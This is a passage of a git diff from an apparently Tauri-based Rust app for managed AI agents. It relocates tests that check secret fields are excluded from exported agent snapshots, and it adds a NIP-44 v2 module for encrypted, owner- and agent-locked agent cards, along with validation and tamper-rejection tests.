-    fn png_export_rejects_none_level_with_nonempty_entries() {
-        // Inconsistent state: level == None but entries is non-empty.
-        // The encoder must reject this to prevent a memory-leak bypass.
-        let record = minimal_record();
-        let entries = vec![AgentSnapshotMemoryEntry {
-            slug: "core".to_string(),
-            body: "leaked memory".to_string(),
-        }];
-        // Build with entries, then override level to None in the struct.
-        let mut snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None);
-        snapshot.memory.level = MemoryLevel::None; // force inconsistency
-        let result = encode_snapshot_png(&snapshot, None);
-        assert!(
-            result.is_err(),
-            "PNG encoder must reject level=None with non-empty entries"
-        );
-        assert!(
-            result
-                .unwrap_err()
-                .contains("memory.level 'none' and non-empty memory entries"),
-            "Error must explain the malformed memory state"
-        );
-    }
-
-    // ── Secret exclusion tests ────────────────────────────────────────────────
-    //
-    // These tests assert that every field in the exclusion list is absent from
-    // the serialized snapshot. We serialize to JSON and assert the key is NOT
-    // present.
-
-    fn snapshot_json_string(record: &ManagedAgentRecord) -> String {
-        let snapshot = build_snapshot(record, MemoryLevel::None, vec![], None);
-        let bytes = encode_snapshot_json(&snapshot).unwrap();
-        String::from_utf8(bytes).unwrap()
-    }
-
-    #[test]
-    fn secret_exclusion_private_key_nsec_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("nsec1secret"),
-            "nsec must not appear in snapshot"
-        );
-        assert!(
-            !json.contains("privateKeyNsec") && !json.contains("private_key_nsec"),
-            "privateKeyNsec field must not appear in snapshot"
-        );
-    }
-
-    #[test]
-    fn secret_exclusion_auth_tag_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("auth-tag-secret"),
-            "auth_tag value must not appear in snapshot"
-        );
-        assert!(
-            !json.contains("authTag") && !json.contains("auth_tag"),
-            "authTag field must not appear in snapshot"
-        );
-    }
-
-    #[test]
-    fn secret_exclusion_env_vars_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("API_KEY") && !json.contains("secret123"),
-            "env_vars content must not appear in snapshot"
-        );
-        assert!(
-            !json.contains("envVars") && !json.contains("env_vars"),
-            "envVars field must not appear in snapshot"
-        );
-    }
-
-    #[test]
-    fn secret_exclusion_relay_url_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("wss://relay.example.com"),
-            "relay_url value must not appear in snapshot"
-        );
-        assert!(
-            !json.contains("relayUrl") && !json.contains("relay_url"),
-            "relayUrl field must not appear in snapshot"
-        );
-    }
-
-    #[test]
-    fn snapshot_omits_removed_mcp_toolsets_config() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("mcpToolsets") && !json.contains("mcp_toolsets"),
-            "removed MCP toolsets config must not re-enter snapshots"
-        );
-    }
-
-    #[test]
-    fn secret_exclusion_machine_commands_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        // acp_command / agent_command / agent_command_override / agent_args / mcp_command
-        assert!(
-            !json.contains("/usr/local/bin/acp"),
-            "acp_command path must not appear"
-        );
-        assert!(
-            !json.contains("acpCommand") && !json.contains("acp_command"),
-            "acpCommand field must not appear"
-        );
-        assert!(
-            !json.contains("agentCommand") && !json.contains("agent_command"),
-            "agentCommand field must not appear"
-        );
-        assert!(
-            !json.contains("mcpCommand") && !json.contains("mcp_command"),
-            "mcpCommand field must not appear"
-        );
-    }
-
-    #[test]
-    fn secret_exclusion_runtime_state_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("runtimePid") && !json.contains("runtime_pid"),
-            "runtimePid must not appear"
-        );
-        assert!(
-            !json.contains("backendAgentId") && !json.contains("backend_agent_id"),
-            "backendAgentId must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_BACKEND_AGENT_ID"),
-            "backendAgentId value must not appear"
-        );
-        assert!(
-            !json.contains("providerBinaryPath") && !json.contains("provider_binary_path"),
-            "providerBinaryPath must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_PROVIDER_BINARY"),
-            "providerBinaryPath value must not appear"
-        );
-        assert!(
-            !json.contains("lastStartedAt") && !json.contains("last_started_at"),
-            "lastStartedAt must not appear"
-        );
-        assert!(
-            !json.contains("lastExitCode") && !json.contains("last_exit_code"),
-            "lastExitCode must not appear"
-        );
-        // backend blob — neither the type tag nor provider secret must leak.
-        assert!(
-            !json.contains("\"backend\"") && !json.contains("backend"),
-            "backend field must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_BACKEND_ID") && !json.contains("SENTINEL_BACKEND_SECRET"),
-            "backend config values must not appear"
-        );
-        // last_error / last_error_code
-        assert!(
-            !json.contains("lastError") && !json.contains("last_error"),
-            "lastError must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_LAST_ERROR"),
-            "lastError value must not appear"
-        );
-        assert!(
-            !json.contains("lastErrorCode") && !json.contains("last_error_code"),
-            "lastErrorCode must not appear"
-        );
-    }
-
-    #[test]
-    fn secret_exclusion_lineage_ids_absent() {
-        let record = minimal_record();
-        let json = snapshot_json_string(&record);
-        assert!(
-            !json.contains("team-id-123"),
-            "source_team value must not appear"
-        );
-        assert!(
-            !json.contains("sourceTeam") && !json.contains("source_team"),
-            "sourceTeam field must not appear"
-        );
-        assert!(
-            !json.contains("sourceTeamPersonaSlug"),
-            "sourceTeamPersonaSlug must not appear"
-        );
-        assert!(
-            !json.contains("personaSourceVersion") && !json.contains("persona_source_version"),
-            "personaSourceVersion must not appear"
-        );
-        // personaId
-        assert!(
-            !json.contains("personaId") && !json.contains("persona_id"),
-            "personaId field must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_PERSONA_ID"),
-            "personaId value must not appear"
-        );
-        // teamId
-        assert!(
-            !json.contains("teamId") && !json.contains("team_id"),
-            "teamId field must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_TEAM_ID"),
-            "teamId value must not appear"
-        );
-        // personaTeamDir
-        assert!(
-            !json.contains("personaTeamDir") && !json.contains("persona_team_dir"),
-            "personaTeamDir field must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_TEAM_DIR"),
-            "personaTeamDir value must not appear"
-        );
-        // personaNameInTeam
-        assert!(
-            !json.contains("personaNameInTeam") && !json.contains("persona_name_in_team"),
-            "personaNameInTeam field must not appear"
-        );
-        assert!(
-            !json.contains("SENTINEL_NAME_IN_TEAM"),
-            "personaNameInTeam value must not appear"
-        );
-    }
-
-    // ── Definition field presence tests ──────────────────────────────────────
-
-    #[test]
-    fn definition_fields_present_in_snapshot() {
-        let record = minimal_record();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
-
-        assert_eq!(snapshot.definition.name, "Test Agent Display");
-        assert!(!snapshot.definition.source_is_builtin);
-        assert_eq!(
-            snapshot.definition.system_prompt.as_deref(),
-            Some("You are a test agent.")
-        );
-        assert_eq!(snapshot.definition.runtime.as_deref(), Some("goose"));
-        assert_eq!(snapshot.definition.model.as_deref(), Some("claude-opus-4"));
-        assert_eq!(snapshot.definition.provider.as_deref(), Some("anthropic"));
-        assert_eq!(snapshot.definition.name_pool, vec!["Alice", "Bob"]);
-        // definition_respond_to maps to respond_to in the snapshot definition
-        assert_eq!(snapshot.definition.respond_to.as_deref(), Some("allowlist"));
-        // definition_respond_to_allowlist should be included
-        assert!(!snapshot.definition.respond_to_allowlist.is_empty());
-    }
-
-    #[test]
-    fn profile_fields_present_in_snapshot() {
-        let record = minimal_record();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
-        assert_eq!(snapshot.profile.display_name, "Test Agent Display");
-        // No bytes → should fall back to avatar_url
-        assert_eq!(
-            snapshot.profile.avatar_url.as_deref(),
-            Some("https://example.com/avatar.png")
-        );
-        assert!(snapshot.profile.avatar_data_url.is_none());
-    }
-
-    #[test]
-    fn avatar_inlined_when_under_size_limit() {
-        let record = minimal_record();
-        let small_png = make_png_with_text("k", "v").unwrap();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&small_png));
-        assert!(snapshot.profile.avatar_data_url.is_some());
-        assert!(snapshot.profile.avatar_url.is_none());
-    }
-
-    #[test]
-    fn avatar_url_fallback_when_over_size_limit() {
-        let mut record = minimal_record();
-        record.avatar_url = Some("https://example.com/big.png".to_string());
-        // Synthesize oversized avatar bytes (> 2 MB) — just a large zeroed vec.
-        let big_bytes = vec![0u8; MAX_AVATAR_INLINE_BYTES + 1];
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&big_bytes));
-        assert!(snapshot.profile.avatar_data_url.is_none());
-        assert_eq!(
-            snapshot.profile.avatar_url.as_deref(),
-            Some("https://example.com/big.png")
-        );
-    }
-
-    // ── Format/version validation ─────────────────────────────────────────────
-
-    #[test]
-    fn invalid_format_discriminator_is_rejected() {
-        let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None);
-        snapshot.format = "not-a-buzz-snapshot".to_string();
-        let bytes = serde_json::to_vec(&snapshot).unwrap();
-        let result = decode_snapshot_json(&bytes);
-        assert!(result.is_err());
-        assert!(result.unwrap_err().contains("Unsupported snapshot format"));
-    }
-
-    #[test]
-    fn unsupported_version_is_rejected() {
-        let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None);
-        snapshot.version = 99;
-        let bytes = serde_json::to_vec(&snapshot).unwrap();
-        let result = decode_snapshot_json(&bytes);
-        assert!(result.is_err());
-        assert!(result.unwrap_err().contains("Unsupported snapshot version"));
-    }
-}
+#[path = "agent_snapshot_tests.rs"]
+mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/agent_snapshot_envelope.rs b/desktop/src-tauri/src/managed_agents/agent_snapshot_envelope.rs
new file mode 100644
index 0000000000..8508c27073
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/agent_snapshot_envelope.rs
@@ -0,0 +1,638 @@
+//! Locked (encrypted) agent-card envelope — NIP-44 v2 over the snapshot manifest.
+//!
+//! A locked card carries the same `buzz_agent_snapshot` tEXt chunk as a plain
+//! card, but the chunk JSON is a typed outer envelope whose ciphertext
+//! decrypts to the ordinary manifest. The NIP-44 v2 conversation key is
+//! symmetric over the (owner, agent) pair, so BOTH the owner's and the
+//! agent's nsec decrypt the card — nobody else's does (NIP-AE's scheme).
+//!
+//! Wire contract (agreed with Wren, buzz-agent-trading-cards thread):
+//! - Plain cards keep today's exact bytes; detection dispatches once on the
+//!   exact `format` discriminator and rejects unknown versions/schemes
+//!   rather than falling through to manifest parsing.
+//! - Key lookup is exact-endpoint only: the owner identity key when its
+//!   pubkey equals `ownerPubkey`, or a hydrated local managed-agent record
+//!   whose record pubkey AND derived-secret pubkey equal `agentPubkey`.
+//!   No trial decryption; anything else fails closed as locked.
+//! - Caps beyond the outer 10 MiB PNG gate: 65,535-byte NIP-44 plaintext
+//!   limit on the serialized manifest BEFORE encryption; envelope JSON and
+//!   ciphertext are capped before serde/base64/decrypt work; decrypted bytes
+//!   are capped before snapshot parsing.
+//! - Decrypt/auth failures return only the locked-card refusal — never
+//!   partial plaintext or crypto details.
+
+use buzz_core_pkg::engram::NIP44_PLAINTEXT_MAX;
+use nostr::nips::nip44::{self, Version};
+use nostr::{Keys, PublicKey, SecretKey};
+use serde::{Deserialize, Serialize};
+
+use super::agent_snapshot::{
+    decode_snapshot_json, encode_chunk_payload_png, encode_snapshot_json, AgentSnapshot,
+    MemoryLevel, FORMAT_DISCRIMINATOR,
+};
+use super::types::ManagedAgentRecord;
+
+/// Discriminator for the locked envelope. Distinct from the plain manifest's
+/// `buzz-agent-snapshot` so detection never guesses.
+pub const LOCKED_FORMAT: &str = "buzz-agent-snapshot-encrypted";
+/// Envelope schema version this module produces and accepts.
+pub const LOCKED_VERSION: u32 = 1;
+/// Encryption scheme identifier this module produces and accepts.
+pub const LOCKED_SCHEME: &str = "nip44-v2";
+
+/// A max-size NIP-44 v2 payload (1 version + 32 nonce + 2 len + 65,536
+/// padded + 32 MAC = 65,603 bytes) base64-encodes to 87,472 chars.
+/// Anything larger is rejected before base64/decrypt work.
+pub const MAX_LOCKED_CIPHERTEXT_BYTES: usize = 90_000;
+/// Envelope JSON = ciphertext + two pubkeys + fixed keys. Rejected before
+/// typed deserialization.
+pub const MAX_LOCKED_ENVELOPE_JSON_BYTES: usize = MAX_LOCKED_CIPHERTEXT_BYTES + 1024;
+
+/// The only error a failed unlock may surface. Deliberately says nothing
+/// about which key was tried or why decryption failed.
+pub const LOCKED_CARD_REFUSAL: &str =
+    "This card is locked to its owner and agent. Only they can import it.";
+
+// ── Envelope types ────────────────────────────────────────────────────────────
+
+/// Typed outer envelope stored (base64 JSON) in the `buzz_agent_snapshot`
+/// chunk of a locked card.
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+#[serde(rename_all = "camelCase")]
+pub struct LockedSnapshotEnvelope {
+    /// Always [`LOCKED_FORMAT`].
+    pub format: String,
+    /// Always [`LOCKED_VERSION`].
+    pub version: u32,
+    pub encryption: LockedEncryption,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+#[serde(rename_all = "camelCase")]
+pub struct LockedEncryption {
+    /// Always [`LOCKED_SCHEME`].
+    pub scheme: String,
+    /// Owner identity pubkey (64 lowercase hex). Plaintext so a decryptor
+    /// knows which counterparty to pair with.
+    pub owner_pubkey: String,
+    /// Agent instance pubkey (64 lowercase hex).
+    pub agent_pubkey: String,
+    /// NIP-44 v2 ciphertext (base64) of the plain manifest JSON.
+    pub ciphertext: String,
+}
+
+/// Result of parsing a chunk payload: either today's plain manifest or a
+/// validated locked envelope. The plain manifest is boxed because it may
+/// inline a multi-KB avatar data URL, dwarfing the envelope variant.
+#[derive(Debug)]
+pub enum ChunkPayload {
+    Plain(Box<AgentSnapshot>),
+    Locked(LockedSnapshotEnvelope),
+}
+
+/// Minimal probe used to read the `format` discriminator without building a
+/// full JSON tree for large plain manifests.
+#[derive(Deserialize)]
+struct FormatProbe {
+    #[serde(default)]
+    format: Option<String>,
+}
+
+// ── Validation ────────────────────────────────────────────────────────────────
+
+/// Canonical pubkey check: exactly 64 lowercase hex chars that parse as a
+/// valid x-only pubkey. Lowercase is required so string comparisons against
+/// record pubkeys (always `to_hex()` output) stay sound. Curve validation is
+/// explicit: nostr's `PublicKey::from_hex` only decodes 32 bytes and defers
+/// lift-x validation to `xonly()`, so a non-point like `"f" * 64` would
+/// otherwise pass structurally and fail only at decrypt time.
+pub(crate) fn parse_canonical_pubkey(field: &str, value: &str) -> Result<PublicKey, String> {
+    if value.len() != 64
+        || !value
+            .chars()
+            .all(|c| c.is_ascii_digit() || ('a'..='f').contains(&c))
+    {
+        return Err(format!(
+            "Locked card envelope has a malformed {field} (expected 64 lowercase hex chars)."
+        ));
+    }
+    let pubkey = PublicKey::from_hex(value)
+        .map_err(|_| format!("Locked card envelope has an invalid {field}."))?;
+    pubkey
+        .xonly()
+        .map_err(|_| format!("Locked card envelope has an invalid {field} (not a curve point)."))?;
+    Ok(pubkey)
+}
+
+/// Structural validation of a locked envelope: exact version + scheme,
+/// canonical pubkeys, distinct endpoints, bounded ciphertext. Does no
+/// key lookup or crypto.
+pub fn validate_envelope(
+    envelope: &LockedSnapshotEnvelope,
+) -> Result<(PublicKey, PublicKey), String> {
+    if envelope.format != LOCKED_FORMAT {
+        return Err(format!(
+            "Unsupported locked card format: {:?} (expected {LOCKED_FORMAT:?})",
+            envelope.format
+        ));
+    }
+    if envelope.version != LOCKED_VERSION {
+        return Err(format!(
+            "Unsupported locked card envelope version: {} (expected {LOCKED_VERSION})",
+            envelope.version
+        ));
+    }
+    if envelope.encryption.scheme != LOCKED_SCHEME {
+        return Err(format!(
+            "Unsupported locked card encryption scheme: {:?} (expected {LOCKED_SCHEME:?})",
+            envelope.encryption.scheme
+        ));
+    }
+    let owner = parse_canonical_pubkey("ownerPubkey", &envelope.encryption.owner_pubkey)?;
+    let agent = parse_canonical_pubkey("agentPubkey", &envelope.encryption.agent_pubkey)?;
+    if owner == agent {
+        return Err("Locked card envelope owner and agent pubkeys must differ.".to_string());
+    }
+    if envelope.encryption.ciphertext.len() > MAX_LOCKED_CIPHERTEXT_BYTES {
+        return Err("Locked card ciphertext exceeds the maximum size.".to_string());
+    }
+    if envelope.encryption.ciphertext.is_empty() {
+        return Err("Locked card ciphertext is empty.".to_string());
+    }
+    Ok((owner, agent))
+}
+
+// ── Dispatch ──────────────────────────────────────────────────────────────────
+
+/// Parse a raw chunk payload (JSON bytes from `extract_chunk_payload_png` or
+/// an `.agent.json` file) and dispatch on the exact `format` discriminator.
+///
+/// - `buzz-agent-snapshot` → full plain-manifest decode + validation.
+/// - `buzz-agent-snapshot-encrypted` → size caps, typed envelope parse,
+///   structural validation. No decryption happens here.
+/// - anything else (including missing `format`) → error, never a fall-through.
+pub fn parse_chunk_payload(json_bytes: &[u8]) -> Result<ChunkPayload, String> {
+    let probe: FormatProbe =
+        serde_json::from_slice(json_bytes).map_err(|e| format!("Invalid snapshot JSON: {e}"))?;
+    match probe.format.as_deref() {
+        Some(f) if f == FORMAT_DISCRIMINATOR => Ok(ChunkPayload::Plain(Box::new(
+            decode_snapshot_json(json_bytes)?,
+        ))),
+        Some(f) if f == LOCKED_FORMAT => {
+            // Cap the envelope JSON before typed deserialization; a locked
+            // envelope is small by construction (unlike plain manifests,
+            // which may inline a multi-MB avatar).
+            if json_bytes.len() > MAX_LOCKED_ENVELOPE_JSON_BYTES {
+                return Err("Locked card envelope exceeds the maximum size.".to_string());
+            }
+            let envelope: LockedSnapshotEnvelope = serde_json::from_slice(json_bytes)
+                .map_err(|e| format!("Invalid locked card envelope: {e}"))?;
+            validate_envelope(&envelope)?;
+            Ok(ChunkPayload::Locked(envelope))
+        }
+        Some(other) => Err(format!("Unsupported snapshot format: {other:?}")),
+        None => Err("Snapshot payload has no format discriminator.".to_string()),
+    }
+}
+
+// ── Encrypt ───────────────────────────────────────────────────────────────────
+
+/// Encrypt a snapshot manifest into a locked envelope under the NIP-44 v2
+/// conversation key for (owner secret, agent pubkey).
+///
+/// Fails clearly (never silently truncates) when the serialized manifest
+/// exceeds the NIP-44 plaintext limit.
+pub fn encrypt_snapshot_envelope(
+    snapshot: &AgentSnapshot,
+    owner_keys: &Keys,
+    agent_pubkey: &PublicKey,
+) -> Result<LockedSnapshotEnvelope, String> {
+    let json_bytes = encode_snapshot_json(snapshot)?;
+    if json_bytes.len() > NIP44_PLAINTEXT_MAX {
+        return Err(format!(
+            "Agent manifest is too large to lock ({} bytes; the encrypted \
+             format caps at {NIP44_PLAINTEXT_MAX}). Reduce the avatar size \
+             or mint an unlocked card.",
+            json_bytes.len()
+        ));
+    }
+    let plaintext = std::str::from_utf8(&json_bytes)
+        .map_err(|e| format!("Manifest JSON was not UTF-8: {e}"))?;
+    let ciphertext = nip44::encrypt(
+        owner_keys.secret_key(),
+        agent_pubkey,
+        plaintext,
+        Version::V2,
+    )
+    .map_err(|e| format!("Failed to encrypt card manifest: {e}"))?;
+
+    Ok(LockedSnapshotEnvelope {
+        format: LOCKED_FORMAT.to_string(),
+        version: LOCKED_VERSION,
+        encryption: LockedEncryption {
+            scheme: LOCKED_SCHEME.to_string(),
+            owner_pubkey: owner_keys.public_key().to_hex(),
+            agent_pubkey: agent_pubkey.to_hex(),
+            ciphertext,
+        },
+    })
+}
+
+/// Encode a snapshot into a LOCKED `.agent.png`: encrypt the manifest into
+/// the envelope, then compose the PNG through the same chunk encoder plain
+/// cards use. Mirrors `encode_snapshot_png`'s structural memory guard.
+pub fn encode_locked_snapshot_png(
+    snapshot: &AgentSnapshot,
+    owner_keys: &Keys,
+    agent_pubkey: &PublicKey,
+    avatar_bytes: Option<&[u8]>,
+) -> Result<Vec<u8>, String> {
+    if snapshot.memory.level == MemoryLevel::None && !snapshot.memory.entries.is_empty() {
+        return Err(
+            "Cannot write a snapshot with memory.level 'none' and non-empty memory entries."
+                .to_string(),
+        );
+    }
+    let envelope = encrypt_snapshot_envelope(snapshot, owner_keys, agent_pubkey)?;
+    let envelope_json = serde_json::to_vec(&envelope)
+        .map_err(|e| format!("Failed to serialize locked card envelope: {e}"))?;
+    encode_chunk_payload_png(&envelope_json, avatar_bytes)
+}
+
+// ── Decrypt ───────────────────────────────────────────────────────────────────
+
+/// Exact-endpoint key resolution (no trial decryption):
+/// - the owner identity secret, only when its pubkey equals `ownerPubkey`;
+/// - a hydrated local managed-agent record whose record pubkey AND
+///   derived-secret pubkey both equal `agentPubkey`.
+///
+/// Returns `None` when neither exact endpoint exists — callers fail closed
+/// with [`LOCKED_CARD_REFUSAL`].
+pub fn resolve_unlock_secret(
+    envelope: &LockedSnapshotEnvelope,
+    owner_keys: Option<&Keys>,
+    records: &[ManagedAgentRecord],
+) -> Option<SecretKey> {
+    if let Some(keys) = owner_keys {
+        if keys.public_key().to_hex() == envelope.encryption.owner_pubkey {
+            return Some(keys.secret_key().clone());
+        }
+    }
+    let record = records
+        .iter()
+        .find(|r| r.pubkey == envelope.encryption.agent_pubkey)?;
+    let agent_keys = Keys::parse(record.private_key_nsec.trim()).ok()?;
+    if agent_keys.public_key().to_hex() != envelope.encryption.agent_pubkey {
+        return None;
+    }
+    Some(agent_keys.secret_key().clone())
+}
+
+/// Decrypt a validated envelope with `my_secret`, which must be one of the
+/// envelope's two exact endpoints (its derived pubkey selects the
+/// counterparty). Returns the decoded, validated snapshot manifest.
+///
+/// Every auth/crypto failure maps to [`LOCKED_CARD_REFUSAL`] — nothing about
+/// the failure mode leaks. Manifest decode errors after a successful decrypt
+/// are surfaced normally (the caller proved key possession).
+pub fn decrypt_envelope(
+    envelope: &LockedSnapshotEnvelope,
+    my_secret: &SecretKey,
+) -> Result<AgentSnapshot, String> {
+    let (owner_pub, agent_pub) = validate_envelope(envelope)?;
+    let my_pub = Keys::new(my_secret.clone()).public_key();
+    let counterparty = if my_pub == owner_pub {
+        agent_pub
+    } else if my_pub == agent_pub {
+        owner_pub
+    } else {
+        return Err(LOCKED_CARD_REFUSAL.to_string());
+    };
+
+    let plaintext = nip44::decrypt(my_secret, &counterparty, &envelope.encryption.ciphertext)
+        .map_err(|_| LOCKED_CARD_REFUSAL.to_string())?;
+    if plaintext.len() > NIP44_PLAINTEXT_MAX {
+        return Err(LOCKED_CARD_REFUSAL.to_string());
+    }
+    decode_snapshot_json(plaintext.as_bytes())
+}
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::managed_agents::agent_snapshot::{
+        extract_chunk_payload_png, AgentSnapshotDefinition, AgentSnapshotMemory,
+        AgentSnapshotProfile, FORMAT_VERSION,
+    };
+
+    fn sample_snapshot() -> AgentSnapshot {
+        AgentSnapshot {
+            format: FORMAT_DISCRIMINATOR.to_string(),
+            version: FORMAT_VERSION,
+            definition: AgentSnapshotDefinition {
+                name: "Locked Test".to_string(),
+                system_prompt: Some("You are a locked test agent.".to_string()),
+                runtime: None,
+                model: None,
+                provider: None,
+                parallelism: Some(1),
+                respond_to: None,
+                respond_to_allowlist: Vec::new(),
+                name_pool: Vec::new(),
+                idle_timeout_seconds: None,
+                max_turn_duration_seconds: None,
+                source_is_builtin: false,
+            },
+            profile: AgentSnapshotProfile {
+                display_name: "Locked Test".to_string(),
+                about: None,
+                avatar_data_url: None,
+                avatar_url: None,
+            },
+            memory: AgentSnapshotMemory {
+                level: MemoryLevel::None,
+                entries: Vec::new(),
+            },
+        }
+    }
+
+    fn owner_agent_keys() -> (Keys, Keys) {
+        (Keys::generate(), Keys::generate())
+    }
+
+    /// Minimal hydrated record for endpoint-resolution tests. Only the
+    /// pubkey/nsec pair matters here.
+    fn record_with_keys(pubkey: String, private_key_nsec: String) -> ManagedAgentRecord {
+        ManagedAgentRecord {
+            pubkey,
+            name: "Locked Test".to_string(),
+            persona_id: None,
+            private_key_nsec,
+            auth_tag: None,
+            relay_url: "ws://localhost:3000".to_string(),
+            avatar_url: None,
+            acp_command: "buzz-acp".to_string(),
+            agent_command: "goose".to_string(),
+            agent_args: vec![],
+            mcp_command: String::new(),
+            turn_timeout_seconds: 300,
+            idle_timeout_seconds: None,
+            max_turn_duration_seconds: None,
+            parallelism: 1,
+            system_prompt: None,
+            model: None,
+            env_vars: std::collections::BTreeMap::new(),
+            start_on_app_launch: false,
+            auto_restart_on_config_change: true,
+            runtime_pid: None,
+            backend: crate::managed_agents::types::BackendKind::Local,
+            backend_agent_id: None,
+            provider_binary_path: None,
+            team_id: None,
+            persona_team_dir: None,
+            persona_name_in_team: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+            last_started_at: None,
+            last_stopped_at: None,
+            last_exit_code: None,
+            last_error: None,
+            last_error_code: None,
+            respond_to: crate::managed_agents::types::RespondTo::OwnerOnly,
+            respond_to_allowlist: vec![],
+            display_name: None,
+            slug: None,
+            runtime: None,
+            name_pool: Vec::new(),
+            is_builtin: false,
+            is_active: true,
+            shared: false,
+            source_team: None,
+            source_team_persona_slug: None,
+            catalog_source: None,
+            definition_respond_to: None,
+            definition_respond_to_allowlist: Vec::new(),
+            definition_parallelism: None,
+            relay_mesh: None,
+            agent_command_override: None,
+            persona_source_version: None,
+            provider: None,
+        }
+    }
+
+    fn locked_envelope() -> (LockedSnapshotEnvelope, Keys, Keys) {
+        let (owner, agent) = owner_agent_keys();
+        let env =
+            encrypt_snapshot_envelope(&sample_snapshot(), &owner, &agent.public_key()).unwrap();
+        (env, owner, agent)
+    }
+
+    #[test]
+    fn owner_secret_decrypts() {
+        let (env, owner, _agent) = locked_envelope();
+        let decoded = decrypt_envelope(&env, owner.secret_key()).unwrap();
+        assert_eq!(decoded, sample_snapshot());
+    }
+
+    #[test]
+    fn agent_secret_decrypts() {
+        let (env, _owner, agent) = locked_envelope();
+        let decoded = decrypt_envelope(&env, agent.secret_key()).unwrap();
+        assert_eq!(decoded, sample_snapshot());
+    }
+
+    #[test]
+    fn unrelated_key_fails_closed_with_refusal_only() {
+        let (env, _owner, _agent) = locked_envelope();
+        let stranger = Keys::generate();
+        let err = decrypt_envelope(&env, stranger.secret_key()).unwrap_err();
+        assert_eq!(err, LOCKED_CARD_REFUSAL);
+    }
+
+    #[test]
+    fn tampered_ciphertext_fails_with_refusal_only() {
+        let (mut env, owner, _agent) = locked_envelope();
+        // Flip a character mid-ciphertext (keep valid base64 alphabet).
+        let mid = env.encryption.ciphertext.len() / 2;
+        let mut bytes = env.encryption.ciphertext.into_bytes();
+        bytes[mid] = if bytes[mid] == b'A' { b'B' } else { b'A' };
+        env.encryption.ciphertext = String::from_utf8(bytes).unwrap();
+        let err = decrypt_envelope(&env, owner.secret_key()).unwrap_err();
+        assert_eq!(err, LOCKED_CARD_REFUSAL);
+    }
+
+    #[test]
+    fn swapped_pubkeys_fail_closed_at_endpoint_resolution() {
+        let (mut env, owner, agent) = locked_envelope();
+        std::mem::swap(
+            &mut env.encryption.owner_pubkey,
+            &mut env.encryption.agent_pubkey,
+        );
+        // The NIP-44 conversation key is symmetric over the pair, so a swap
+        // cannot grant a stranger anything — but it desyncs the routing
+        // hints, and exact-endpoint resolution fails closed rather than
+        // guessing: the owner identity no longer matches `ownerPubkey`, and
+        // no local record holds the pubkey now in `agentPubkey`.
+        assert!(resolve_unlock_secret(&env, Some(&owner), &[]).is_none());
+        let nsec = nostr::ToBech32::to_bech32(agent.secret_key()).unwrap();
+        let record = record_with_keys(agent.public_key().to_hex(), nsec);
+        assert!(resolve_unlock_secret(&env, None, std::slice::from_ref(&record)).is_none());
+    }
+
+    #[test]
+    fn mislabeled_pubkey_fails_decryption_with_refusal_only() {
+        // Replacing `agentPubkey` with a third party's key makes the owner
+        // derive the wrong conversation key — the NIP-44 MAC fails and only
+        // the refusal surfaces.
+        let (mut env, owner, _agent) = locked_envelope();
+        env.encryption.agent_pubkey = Keys::generate().public_key().to_hex();
+        let err = decrypt_envelope(&env, owner.secret_key()).unwrap_err();
+        assert_eq!(err, LOCKED_CARD_REFUSAL);
+    }
+
+    #[test]
+    fn malformed_pubkeys_rejected_structurally() {
+        let (env, _owner, _agent) = locked_envelope();
+
+        let mut short = env.clone();
+        short.encryption.owner_pubkey = "abc123".to_string();
+        assert!(validate_envelope(&short).unwrap_err().contains("malformed"));
+
+        let mut upper = env.clone();
+        upper.encryption.agent_pubkey = upper.encryption.agent_pubkey.to_uppercase();
+        assert!(validate_envelope(&upper).unwrap_err().contains("malformed"));
+
+        // A 64-hex string that is not a curve point (lift-x fails for
+        // x = p-1... all-f) must be rejected STRUCTURALLY — before any key
+        // lookup or decrypt work — per the wire contract.
+        let mut not_a_point = env.clone();
+        not_a_point.encryption.agent_pubkey = "f".repeat(64);
+        assert!(validate_envelope(&not_a_point)
+            .unwrap_err()
+            .contains("not a curve point"));
+
+        let mut same = env;
+        same.encryption.agent_pubkey = same.encryption.owner_pubkey.clone();
+        assert!(validate_envelope(&same).unwrap_err().contains("differ"));
+    }
+
+    #[test]
+    fn unknown_format_version_scheme_rejected() {
+        let (env, ..) = locked_envelope();
+
+        let mut bad_version = env.clone();
+        bad_version.version = 2;
+        assert!(validate_envelope(&bad_version)
+            .unwrap_err()
+            .contains("version"));
+
+        let mut bad_scheme = env.clone();
+        bad_scheme.encryption.scheme = "nip44-v3".to_string();
+        assert!(validate_envelope(&bad_scheme)
+            .unwrap_err()
+            .contains("scheme"));
+
+        // Unknown top-level format never falls through to manifest parsing.
+        let unknown = serde_json::json!({"format": "buzz-agent-snapshot-v9", "version": 1});
+        let err = parse_chunk_payload(unknown.to_string().as_bytes()).unwrap_err();
+        assert!(err.contains("Unsupported snapshot format"), "{err}");
+
